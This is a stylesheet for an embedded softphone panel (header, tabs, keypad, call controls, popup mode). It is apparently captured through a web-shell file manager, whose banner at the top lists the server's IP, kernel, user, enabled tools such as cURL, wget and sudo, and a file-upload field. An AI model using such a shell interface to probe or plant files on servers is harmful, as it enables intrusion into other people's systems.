| Server IP : 10.200.247.200 / Your IP : 216.73.217.19 Web Server : Apache System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 User : jeremy ( 1001) PHP Version : 8.4.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/surf_sites/softphone.surfcrm.com/css/ |
Upload File : |
/* Embedded softphone panel. Fixed-position drawer in the lower-right; expands upward. */
.twilio-softphone {
position: fixed;
bottom: 0;
right: 16px;
width: 340px;
background: #ffffff;
border: 1px solid #d4d8dd;
border-bottom: none;
border-top-left-radius: 8px;
border-top-right-radius: 8px;
box-shadow: 0 -2px 8px rgba(0, 0, 0, 0.08);
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
font-size: 14px;
z-index: 12000;
display: flex;
flex-direction: column;
}
.twilio-softphone.collapsed .twsp-body { display: none; }
.twsp-header {
display: flex;
align-items: center;
gap: 8px;
padding: 8px 12px;
background: #1f2937;
color: #fff;
cursor: pointer;
}
.twsp-title { font-weight: 600; }
.twsp-ext { font-size: 12px; opacity: 0.7; margin-left: auto; }
.twsp-status { font-size: 12px; padding: 2px 8px; border-radius: 12px; background: #374151; }
.twsp-status-ok { background: #16a34a; }
.twsp-status-error { background: #dc2626; }
.twsp-toggle { margin-left: 8px; background: none; border: none; color: #fff; font-size: 18px; cursor: pointer; }
.twsp-body { padding: 0; max-height: 70vh; display: flex; flex-direction: column; }
.twsp-tabs { display: flex; border-bottom: 1px solid #e5e7eb; }
.twsp-tab {
flex: 1; padding: 8px 6px; background: none; border: none; border-bottom: 2px solid transparent;
cursor: pointer; font-size: 13px; color: #4b5563;
}
.twsp-tab.active { color: #111; border-bottom-color: #1f2937; font-weight: 600; }
.twsp-badge {
display: inline-block; min-width: 18px; padding: 1px 5px; border-radius: 9px;
background: #dc2626; color: #fff; font-size: 11px; margin-left: 4px;
}
.twsp-badge:empty { display: none; }
.twsp-pane { display: none; padding: 12px; overflow-y: auto; }
.twsp-pane.active { display: block; }
.twsp-call-card {
background: #f3f4f6; border-radius: 8px; padding: 12px; text-align: center; margin-bottom: 12px;
}
.twsp-call-name { font-size: 16px; font-weight: 600; }
.twsp-call-number { color: #4b5563; font-size: 13px; }
.twsp-call-direction { color: #6b7280; font-size: 12px; }
.twsp-call-timer { font-size: 24px; font-variant-numeric: tabular-nums; margin: 8px 0; }
.twsp-call-actions { display: grid; grid-template-columns: repeat(3, 1fr); gap: 6px; }
.twsp-call-actions button {
padding: 6px 8px; border: 1px solid #d1d5db; background: #fff; border-radius: 6px; cursor: pointer; font-size: 12px;
}
.twsp-call-actions button.on { background: #fde68a; }
.twsp-call-actions .twsp-end { grid-column: span 3; background: #dc2626; color: #fff; border-color: #b91c1c; }
.twsp-cid-label { display: block; font-size: 12px; color: #4b5563; margin-bottom: 6px; }
.twsp-cid-label select { width: 100%; padding: 4px 6px; border: 1px solid #d1d5db; border-radius: 4px; }
#twsp-dial-input {
width: 100%; padding: 8px 10px; font-size: 16px; border: 1px solid #d1d5db; border-radius: 6px;
margin-bottom: 8px;
}
.twsp-keypad { display: grid; grid-template-columns: repeat(3, 1fr); gap: 6px; margin-bottom: 8px; }
.twsp-key {
padding: 10px; font-size: 18px; border: 1px solid #d1d5db; background: #fff; border-radius: 6px; cursor: pointer;
}
.twsp-key:hover { background: #f3f4f6; }
.twsp-call-btn {
width: 100%; padding: 10px; background: #16a34a; color: #fff; border: none; border-radius: 6px;
font-size: 15px; font-weight: 600; cursor: pointer;
}
.twsp-call-btn:hover { background: #15803d; }
.twsp-list { list-style: none; padding: 0; margin: 0; }
.twsp-list li {
padding: 8px; border-bottom: 1px solid #e5e7eb;
}
.twsp-footer { padding: 8px 12px; border-top: 1px solid #e5e7eb; font-size: 12px; }
.twsp-footer select { margin-left: 6px; padding: 2px 6px; }
/* Popup-window mode: panel fills the window, no collapsing, no fixed-corner offset. */
body.twilio-popup-window { margin: 0; background: #fff; }
body.twilio-popup-window .twilio-softphone {
position: static;
width: 100%;
border: none;
border-radius: 0;
box-shadow: none;
}
body.twilio-popup-window .twilio-softphone.collapsed .twsp-body { display: flex; }
body.twilio-popup-window .twsp-header { cursor: default; }
body.twilio-popup-window .twsp-toggle { display: none; }
body.twilio-popup-window .twsp-body { max-height: none; }